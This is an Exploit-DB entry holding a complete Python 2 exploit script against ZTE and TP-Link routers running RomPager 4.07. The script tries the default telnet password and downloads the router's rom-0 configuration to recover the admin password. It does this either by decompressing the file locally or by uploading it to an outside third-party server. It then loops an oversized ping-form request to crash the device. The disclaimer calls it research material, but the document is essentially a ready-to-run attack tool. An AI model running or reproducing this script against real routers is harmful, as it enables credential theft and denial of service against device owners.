ZTE / TP-Link RomPager - Denial of Service

EDB-ID:

33737

CVE:





Platform:

Hardware

Date:

2014-06-13


#!/usr/bin/env python
# -*- coding: utf-8 -*- 

# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers: 	ZTE ZXV10 W300
#					TP-Link TD-W8901G
#					TP-Link TD-W8101G
#					TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:	Please note this exploit may contain errors, and
#			is provided "as it is". There is no guarantee
#			that it will work on your target router(s), as
#			the code may have to be adapted. 
#			This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#			  Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
#
# Original write-up: https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
# Video: https://www.youtube.com/watch?v=1fSECo2ewoo
# Dedicate to Nick Knight and Hood3dRob1n
#  
# ./dos.py -i 192.168.1.1

import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
 
class BitReader:
	
    def __init__(self, bytes):
        self._bits = collections.deque()
        
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
            
    def getBit(self):
        return self._bits.popleft()
        
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
        
    def getByte(self):
        return self.getBits(8)
        
    def __len__(self):
        return len(self._bits)
        
class RingList:
	
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
 
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
 
    def get(self):
        return self.__data__
 
    def size(self):
        return len(self.__data__)
 
    def maxsize(self):
        return self.__max__
        
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]

def filter_non_printable(str):
  return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])


def banner():
	return '''

\t\t    _/_/_/                _/_/_/   
\t\t   _/    _/    _/_/    _/          
\t\t  _/    _/  _/    _/    _/_/       
\t\t _/    _/  _/    _/        _/      
\t\t_/_/_/      _/_/    _/_/_/         
                           
 '''                          
def dos(host, password):
	while (1):
		url = 'http://' +host+ '/Forms/tools_test_1'
		parameters = {
		'Test_PVC'			:	'PVC0', 
		'PingIPAddr'		:	'\101'*2000,
		'pingflag'			:	'1',
		'trace_open_flag'	:	'0',
		'InfoDisplay'		:	'+-+Info+-%0D%0A'
		}
		
		params = urllib.urlencode(parameters) 
		
		req = urllib2.Request(url, params) 
		base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
		req.add_header("Authorization", "Basic %s" %base64string)
		req.add_header("Content-type", "application/x-www-form-urlencoded")
		req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
		try:
				print '[~] Sending Payload'	
				response = urllib2.urlopen(req, timeout=1)
				sys.exit(0)
			
		except:
			flag = checkHost(host)
			if flag == 0:
				print '[+] The host is still up and running'
			else:
				print '[~] Success! The host is down'
				sys.exit(0)
				break

def checkHost(host):
	if sys.platform == 'win32':
		c = "ping -n 2 " + host
	else:
		c = "ping -c 2 " + host

	try:
		x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
		time.sleep(1)
		return x
		
	except:
		pass

def checkServer(host):
	connexion = httplib.HTTPConnection(host)
	connexion.request("GET", "/status.html")
	response = connexion.getresponse()
	server = response.getheader("server")
	connexion.close()
	time.sleep(2)
	if server == 'RomPager/4.07 UPnP/1.0':
		return 0
	else:
		return 1

def checkPassword(host):
	print '[+] Checking for default password'
	defaultpass = 'admin'
	tn = telnetlib.Telnet(host, 23, 4)
	tn.read_until("Password: ")
	tn.write(defaultpass + '\n')
	time.sleep(2)
	banner = tn.read_eager()
	banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
	tn.write("exit\n")
	tn.close()
	time.sleep(4)
	if banner == 'Copyright':
		print '[+] Default password is being used'
		dos(host, defaultpass)
	else:
		print '[!] Default Password is not being used'
	while True:
		msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
		try:
			if msg[0] == 'y':
				password = decodePasswordLocal(host)
				print '[*] Router password is: ' +password
				dos(host, password)
				break			        
			if msg[0] == 'n':
				password = decodePasswordRemote(host)
				print '[*] Router password is: ' +password
				dos(host, password)
				break
			else:
				print '[!] Enter a valid choice'
		except Exception, e:
				print e
				continue
		

def decodePasswordRemote(host):
	fname = 'rom-0'
	if os.path.isfile(fname) == True:
		os.remove(fname)
	urllib.urlretrieve ("http://"+host+"/rom-0", fname)
	# If this URL goes down you might have to find one and change this function. 
	# You can also use the local decoder. It might have few errors in getting output.
	url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL
	files = {'uploadedfile': open('rom-0', 'rb') }                 # The rom-0 file we wanna upload
	data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}    # Additional Parameters we need to include
	headers = { 'User-agent' : 'Python Demo Agent v1' }            # Any additional Headers you want to send or include

	res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
	res1 =res.content
	p = re.search('rows=10>(.*)', res1)
	if p:
		passwd = found = p.group(1)
	else:
		password = 'NotFound'
	return passwd

def decodePasswordLocal(host):
	# Sometimes this might output a wrong password while finding the exact string. 
	# print the result as mentioned below and manually find out
	fname = 'rom-0'
	if os.path.isfile(fname) == True:
		os.remove(fname)
	urllib.urlretrieve ("http://"+host+"/rom-0", fname)
	fpos=8568
	fend=8788
	fhandle=file('rom-0')
	fhandle.seek(fpos)
	chunk="*"
	amount=221
	while fpos < fend:
	    if fend-fpos < amount:
	        amount = amount
	        data = fhandle.read(amount)
	        fpos += len(data)
	        
	reader = BitReader(data)
	result = ''
	   
	window = RingList(2048)
	    
	while True:
	    bit = reader.getBit()
	    if not bit:
	        char = reader.getByte()
	        result += chr(char)
	        window.append(char)
	    else:
	        bit = reader.getBit()
	        if bit:
	            offset = reader.getBits(7)
	            if offset == 0:
	                break
	        else:
	            offset = reader.getBits(11)
	        
	        lenField = reader.getBits(2)
	        if lenField < 3:
	            lenght = lenField + 2
	        else:
	            lenField <<= 2
	            lenField += reader.getBits(2)
	            if lenField < 15:
	                lenght = (lenField & 0x0f) + 5
	            else:
	                lenCounter = 0
	                lenField = reader.getBits(4)
	                while lenField == 15:
	                    lenField = reader.getBits(4)
	                    lenCounter += 1
	                lenght = 15*lenCounter + 8 + lenField
	        
	        for i in xrange(lenght):
	            char = window[-offset]
	            result += chr(char)
	            window.append(char)

	result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
	# In case the password you see is wrong while filtering, manually print it from here and findout. 
	#print result 
	if 'TP-LINK' in result:
	    result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
	    result = result.replace("TP-LINK", "")
	    result = result[1:]

	if 'ZTE' in result:
	    result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
	    result = result.replace("ZTE", "")
	    result = result[1:]

	if 'tc160' in result:
	    result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
	    result = result.replace("tc160", "")
	    result = result[1:]
	return result
	
def regex(path, text):
	match = re.search(path, text)
	if match:
		return match.group()
	else:
		return None

def main():
	if sys.platform == 'win32':
		os.system('cls')
	else:
		os.system('clear')
	try:
		print banner()
		print '''
|=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
[*] Author: Osanda Malith Jayathissa
[*] Follow @OsandaMalith
[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
[!] Author takes no responsibility for any kind of damage you cause.

	'''
		parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
		parser.add_option('-i', dest='host', 
							type='string',	
							help='Specify the IP to attack')
		(options, args) = parser.parse_args()
		
		if options.host is None:
			parser.print_help()
			exit(-1)

		host = options.host
		x = checkHost(host)

		if x == 0:
			print '[+] The host is up and running'
			server = checkServer(host)
			if server == 0:
				checkPassword(host)
			else:
				print ('[!] Sorry the router is not running RomPager')
		else:
			print '[!] The host is not up and running'
			sys.exit(0)

	except KeyboardInterrupt:
		print '[!] Ctrl + C detected\n[!] Exiting'
		sys.exit(0)
	except EOFError:
		print '[!] Ctrl + D detected\n[!] Exiting'
		sys.exit(0)

if __name__ == "__main__": 
    main()  
#EOF